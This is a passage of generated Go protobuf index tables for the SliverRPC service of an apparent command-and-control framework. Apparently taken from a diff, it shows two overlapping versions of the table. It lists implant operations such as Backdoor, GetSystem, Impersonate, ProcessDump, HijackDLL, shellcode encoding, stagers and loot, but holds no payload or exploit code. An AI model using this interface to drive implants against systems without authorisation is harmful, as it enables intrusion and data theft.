26, // 54: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq
|
||||
27, // 55: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq
|
||||
28, // 56: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq
|
||||
29, // 57: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq
|
||||
30, // 58: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq
|
||||
31, // 59: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq
|
||||
32, // 60: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq
|
||||
33, // 61: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq
|
||||
34, // 62: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq
|
||||
35, // 63: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq
|
||||
36, // 64: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq
|
||||
37, // 65: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq
|
||||
38, // 66: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq
|
||||
39, // 67: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq
|
||||
40, // 68: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq
|
||||
41, // 69: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq
|
||||
42, // 70: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq
|
||||
43, // 71: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq
|
||||
44, // 72: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq
|
||||
45, // 73: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq
|
||||
46, // 74: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq
|
||||
47, // 75: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq
|
||||
48, // 76: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq
|
||||
49, // 77: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq
|
||||
50, // 78: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq
|
||||
51, // 79: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq
|
||||
52, // 80: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq
|
||||
53, // 81: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq
|
||||
54, // 82: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq
|
||||
55, // 83: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq
|
||||
56, // 84: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq
|
||||
0, // 85: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty
|
||||
57, // 86: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
|
||||
58, // 87: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
|
||||
59, // 88: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
|
||||
60, // 89: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
|
||||
61, // 90: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
|
||||
62, // 91: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
|
||||
63, // 92: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
|
||||
64, // 93: rpcpb.SliverRPC.Backdoor:input_type -> sliverpb.BackdoorReq
|
||||
65, // 94: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
|
||||
66, // 95: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
|
||||
67, // 96: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
|
||||
68, // 97: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq
|
||||
69, // 98: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
|
||||
70, // 99: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
|
||||
71, // 100: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
|
||||
72, // 101: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
|
||||
73, // 102: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
|
||||
74, // 103: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
|
||||
75, // 104: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession
|
||||
76, // 105: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
|
||||
77, // 106: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
|
||||
78, // 107: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
|
||||
79, // 108: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
|
||||
80, // 109: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
|
||||
81, // 110: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
|
||||
82, // 111: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
|
||||
83, // 112: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
|
||||
84, // 113: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
|
||||
85, // 114: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
|
||||
86, // 115: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
|
||||
87, // 116: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
|
||||
87, // 117: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
|
||||
88, // 118: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
|
||||
89, // 119: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
|
||||
89, // 120: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
|
||||
90, // 121: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
|
||||
0, // 122: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
|
||||
91, // 123: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
|
||||
92, // 124: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
|
||||
0, // 125: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
|
||||
93, // 126: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
|
||||
0, // 127: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
|
||||
94, // 128: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
|
||||
95, // 129: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
|
||||
4, // 130: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
|
||||
0, // 131: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
|
||||
96, // 132: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
|
||||
5, // 133: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
|
||||
97, // 134: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
|
||||
0, // 135: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
|
||||
98, // 136: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
|
||||
99, // 137: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
|
||||
100, // 138: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
|
||||
101, // 139: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
|
||||
102, // 140: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
|
||||
103, // 141: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
|
||||
103, // 142: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
|
||||
104, // 143: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
|
||||
104, // 144: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
|
||||
12, // 145: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
|
||||
0, // 146: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
|
||||
12, // 147: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
|
||||
12, // 148: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
|
||||
105, // 149: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
|
||||
105, // 150: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
|
||||
106, // 151: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
|
||||
13, // 152: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
|
||||
0, // 153: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
|
||||
0, // 154: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
|
||||
107, // 155: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
|
||||
107, // 156: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
|
||||
108, // 157: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
|
||||
0, // 158: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
|
||||
109, // 159: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
|
||||
110, // 160: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
|
||||
111, // 161: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
|
||||
112, // 162: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
|
||||
0, // 163: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
|
||||
18, // 164: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
|
||||
113, // 165: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
|
||||
114, // 166: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
|
||||
115, // 167: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
|
||||
116, // 168: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
|
||||
117, // 169: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
|
||||
118, // 170: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
|
||||
22, // 171: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
|
||||
0, // 172: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
|
||||
22, // 173: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
|
||||
22, // 174: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
|
||||
22, // 175: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
|
||||
25, // 176: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
|
||||
119, // 177: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
|
||||
120, // 178: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
|
||||
121, // 179: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
|
||||
122, // 180: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
|
||||
123, // 181: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
|
||||
124, // 182: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
|
||||
124, // 183: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
|
||||
125, // 184: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
|
||||
126, // 185: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
|
||||
127, // 186: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
|
||||
128, // 187: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
|
||||
129, // 188: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
|
||||
130, // 189: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
|
||||
131, // 190: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
|
||||
132, // 191: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
|
||||
133, // 192: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
|
||||
134, // 193: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
|
||||
135, // 194: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
|
||||
135, // 195: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
|
||||
135, // 196: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
|
||||
136, // 197: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
|
||||
137, // 198: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
|
||||
138, // 199: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
|
||||
138, // 200: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
|
||||
139, // 201: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
|
||||
140, // 202: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
|
||||
141, // 203: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
|
||||
142, // 204: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
|
||||
143, // 205: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
|
||||
0, // 206: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
|
||||
144, // 207: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
|
||||
145, // 208: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
|
||||
146, // 209: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
|
||||
146, // 210: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
|
||||
146, // 211: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
|
||||
147, // 212: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
|
||||
148, // 213: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
|
||||
149, // 214: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
|
||||
150, // 215: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
|
||||
151, // 216: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
|
||||
152, // 217: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
|
||||
153, // 218: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
|
||||
154, // 219: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
|
||||
155, // 220: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
|
||||
156, // 221: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
|
||||
157, // 222: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
|
||||
158, // 223: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
|
||||
159, // 224: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
|
||||
160, // 225: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
|
||||
74, // 226: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
|
||||
0, // 227: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
|
||||
161, // 228: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
|
||||
162, // 229: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
|
||||
163, // 230: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
|
||||
164, // 231: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
|
||||
164, // 232: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
|
||||
165, // 233: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
|
||||
165, // 234: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
|
||||
166, // 235: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
|
||||
167, // 236: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
|
||||
168, // 237: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
|
||||
169, // 238: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
|
||||
87, // 239: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
|
||||
0, // 240: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
|
||||
88, // 241: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
|
||||
89, // 242: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
|
||||
0, // 243: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
|
||||
90, // 244: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
|
||||
170, // 245: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
|
||||
123, // [123:246] is the sub-list for method output_type
|
||||
0, // [0:123] is the sub-list for method input_type
|
||||
5, // 11: rpcpb.SliverRPC.CancelBeaconTask:input_type -> clientpb.BeaconTask
|
||||
0, // 12: rpcpb.SliverRPC.MonitorStart:input_type -> commonpb.Empty
|
||||
0, // 13: rpcpb.SliverRPC.MonitorStop:input_type -> commonpb.Empty
|
||||
0, // 14: rpcpb.SliverRPC.GetJobs:input_type -> commonpb.Empty
|
||||
6, // 15: rpcpb.SliverRPC.KillJob:input_type -> clientpb.KillJobReq
|
||||
7, // 16: rpcpb.SliverRPC.StartMTLSListener:input_type -> clientpb.MTLSListenerReq
|
||||
8, // 17: rpcpb.SliverRPC.StartWGListener:input_type -> clientpb.WGListenerReq
|
||||
9, // 18: rpcpb.SliverRPC.StartDNSListener:input_type -> clientpb.DNSListenerReq
|
||||
10, // 19: rpcpb.SliverRPC.StartHTTPSListener:input_type -> clientpb.HTTPListenerReq
|
||||
10, // 20: rpcpb.SliverRPC.StartHTTPListener:input_type -> clientpb.HTTPListenerReq
|
||||
11, // 21: rpcpb.SliverRPC.StartTCPStagerListener:input_type -> clientpb.StagerListenerReq
|
||||
11, // 22: rpcpb.SliverRPC.StartHTTPStagerListener:input_type -> clientpb.StagerListenerReq
|
||||
12, // 23: rpcpb.SliverRPC.LootAdd:input_type -> clientpb.Loot
|
||||
12, // 24: rpcpb.SliverRPC.LootRm:input_type -> clientpb.Loot
|
||||
12, // 25: rpcpb.SliverRPC.LootUpdate:input_type -> clientpb.Loot
|
||||
12, // 26: rpcpb.SliverRPC.LootContent:input_type -> clientpb.Loot
|
||||
0, // 27: rpcpb.SliverRPC.LootAll:input_type -> commonpb.Empty
|
||||
12, // 28: rpcpb.SliverRPC.LootAllOf:input_type -> clientpb.Loot
|
||||
0, // 29: rpcpb.SliverRPC.Hosts:input_type -> commonpb.Empty
|
||||
13, // 30: rpcpb.SliverRPC.Host:input_type -> clientpb.Host
|
||||
13, // 31: rpcpb.SliverRPC.HostRm:input_type -> clientpb.Host
|
||||
14, // 32: rpcpb.SliverRPC.HostIOCRm:input_type -> clientpb.IOC
|
||||
15, // 33: rpcpb.SliverRPC.Generate:input_type -> clientpb.GenerateReq
|
||||
16, // 34: rpcpb.SliverRPC.Regenerate:input_type -> clientpb.RegenerateReq
|
||||
0, // 35: rpcpb.SliverRPC.ImplantBuilds:input_type -> commonpb.Empty
|
||||
17, // 36: rpcpb.SliverRPC.DeleteImplantBuild:input_type -> clientpb.DeleteReq
|
||||
0, // 37: rpcpb.SliverRPC.Canaries:input_type -> commonpb.Empty
|
||||
0, // 38: rpcpb.SliverRPC.GenerateWGClientConfig:input_type -> commonpb.Empty
|
||||
0, // 39: rpcpb.SliverRPC.GenerateUniqueIP:input_type -> commonpb.Empty
|
||||
0, // 40: rpcpb.SliverRPC.ImplantProfiles:input_type -> commonpb.Empty
|
||||
17, // 41: rpcpb.SliverRPC.DeleteImplantProfile:input_type -> clientpb.DeleteReq
|
||||
18, // 42: rpcpb.SliverRPC.SaveImplantProfile:input_type -> clientpb.ImplantProfile
|
||||
19, // 43: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq
|
||||
20, // 44: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq
|
||||
0, // 45: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty
|
||||
21, // 46: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq
|
||||
0, // 47: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty
|
||||
0, // 48: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty
|
||||
22, // 49: rpcpb.SliverRPC.Website:input_type -> clientpb.Website
|
||||
22, // 50: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website
|
||||
23, // 51: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent
|
||||
23, // 52: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent
|
||||
24, // 53: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent
|
||||
25, // 54: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping
|
||||
26, // 55: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq
|
||||
27, // 56: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq
|
||||
28, // 57: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq
|
||||
29, // 58: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq
|
||||
30, // 59: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq
|
||||
31, // 60: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq
|
||||
32, // 61: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq
|
||||
33, // 62: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq
|
||||
34, // 63: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq
|
||||
35, // 64: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq
|
||||
36, // 65: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq
|
||||
37, // 66: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq
|
||||
38, // 67: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq
|
||||
39, // 68: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq
|
||||
40, // 69: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq
|
||||
41, // 70: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq
|
||||
42, // 71: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq
|
||||
43, // 72: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq
|
||||
44, // 73: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq
|
||||
45, // 74: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq
|
||||
46, // 75: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq
|
||||
47, // 76: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq
|
||||
48, // 77: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq
|
||||
49, // 78: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq
|
||||
50, // 79: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq
|
||||
51, // 80: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq
|
||||
52, // 81: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq
|
||||
53, // 82: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq
|
||||
54, // 83: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq
|
||||
55, // 84: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq
|
||||
56, // 85: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq
|
||||
0, // 86: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty
|
||||
57, // 87: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
|
||||
58, // 88: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
|
||||
59, // 89: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
|
||||
60, // 90: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
|
||||
61, // 91: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
|
||||
62, // 92: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
|
||||
63, // 93: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
|
||||
64, // 94: rpcpb.SliverRPC.Backdoor:input_type -> sliverpb.BackdoorReq
|
||||
65, // 95: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
|
||||
66, // 96: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
|
||||
67, // 97: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
|
||||
68, // 98: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq
|
||||
69, // 99: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
|
||||
70, // 100: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
|
||||
71, // 101: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
|
||||
72, // 102: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
|
||||
73, // 103: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
|
||||
74, // 104: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
|
||||
75, // 105: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession
|
||||
76, // 106: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
|
||||
77, // 107: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
|
||||
78, // 108: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
|
||||
79, // 109: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
|
||||
80, // 110: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
|
||||
81, // 111: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
|
||||
82, // 112: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
|
||||
83, // 113: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
|
||||
84, // 114: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
|
||||
85, // 115: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
|
||||
86, // 116: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
|
||||
87, // 117: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
|
||||
87, // 118: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
|
||||
88, // 119: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
|
||||
89, // 120: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
|
||||
89, // 121: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
|
||||
90, // 122: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
|
||||
0, // 123: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
|
||||
91, // 124: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
|
||||
92, // 125: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
|
||||
0, // 126: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
|
||||
